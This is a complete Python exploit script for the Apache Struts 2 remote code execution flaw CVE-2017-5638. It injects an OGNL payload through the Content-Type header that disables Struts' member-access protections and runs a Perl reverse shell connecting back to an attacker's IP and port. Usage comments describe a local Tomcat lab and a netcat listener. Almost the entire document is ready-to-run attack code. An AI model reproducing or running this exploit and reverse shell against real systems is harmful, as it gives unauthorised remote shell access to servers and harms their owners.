|
# CVE-2017-5638
# Apache Struts 2 Vulnerability Remote Code Execution
# Reverse shell from target
# Author: anarc0der - github.com/anarcoder
# Tested with tomcat8
# Install tomcat8
# Deploy WAR file https://github.com/nixawk/labs/tree/master/CVE-2017-5638
# Ex:
# Open: $ nc -lnvp 4444
# python2 struntsrce.py --target=http://localhost:8080/struts2_2.3.15.1-showcase/showcase.action --ip=127.0.0.1 --port=4444
"""
Usage:
struntsrce.py --target=<arg> --ip=<arg> --port=<arg>
struntsrce.py --help
struntsrce.py --version
Options:
-h --help Open help menu
-v --version Show version
Required options:
--target='url target' your target :)
--ip='10.10.10.1' your ip
--port=4444 open port for back connection
"""
import urllib2
import httplib
import os
import sys
from docopt import docopt, DocoptExit
class CVE_2017_5638():
def __init__(self, p_target, p_ip, p_port):
self.target = p_target
self.ip = p_ip
self.port = p_port
self.revshell = self.generate_revshell()
self.payload = self.generate_payload()
self.exploit()
def generate_revshell(self):
revshell = "perl -e \\'use Socket;$i=\"{0}\";$p={1};"\
"socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));"\
"if(connect(S,sockaddr_in($p,inet_aton($i)))){{open"\
"(STDIN,\">&S\");open(STDOUT,\">&S\");"\
"open(STDERR,\">&S\");exec(\"/bin/sh -i\");}};\\'"
return revshell.format(self.ip, self.port)
def generate_payload(self):
payload = "%{{(#_='multipart/form-data')."\
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."\
"(#_memberAccess?"\
"(#_memberAccess=#dm):"\
"((#container=#context['com.opensymphony.xwork2."\
"ActionContext.container'])."\
"(#ognlUtil=#container.getInstance(@com.opensymphony."\
"xwork2.ognl.OgnlUtil@class))."\
"(#ognlUtil.getExcludedPackageNames().clear())."\
"(#ognlUtil.getExcludedClasses().clear())."\
"(#context.setMemberAccess(#dm))))."\
"(#cmd='{0}')."\
"(#iswin=(@java.lang.System@getProperty('os.name')."\
"toLowerCase().contains('win')))."\
"(#cmds=(#iswin?{{'cmd.exe','/c',#cmd}}:"\
"{{'/bin/bash','-c',#cmd}}))."\
"(#p=new java.lang.ProcessBuilder(#cmds))."\
"(#p.redirectErrorStream(true)).(#process=#p.start())."\
"(#ros=(@org.apache.struts2.ServletActionContext@get"\
"Response().getOutputStream()))."\
"(@org.apache.commons.io.IOUtils@copy"\
"(#process.getInputStream(),#ros)).(#ros.flush())}}"
return payload.format(self.revshell)
def exploit(self):
try:
# Set proxy for debug request, just uncomment these lines
# Change the proxy port
#proxy = urllib2.ProxyHandler({'http': '127.0.0.1:8081'})
#opener = urllib2.build_opener(proxy)
#urllib2.install_opener(opener)
headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64)'
' AppleWebKit/537.36 (KHTML, like Gecko)'
' Chrome/55.0.2883.87 Safari/537.36',
'Content-Type': self.payload}
xpl = urllib2.Request(self.target, headers=headers)
body = urllib2.urlopen(xpl).read()
except httplib.IncompleteRead as b:
body = b.partial
print body
def main():
try:
arguments = docopt(__doc__, version="Apache Strunts RCE Exploit")
target = arguments['--target']
ip = arguments['--ip']
port = arguments['--port']
except DocoptExit as e:
os.system('python struntsrce.py --help')
sys.exit(1)
CVE_2017_5638(target, ip, port)
if __name__ == '__main__':
main()
|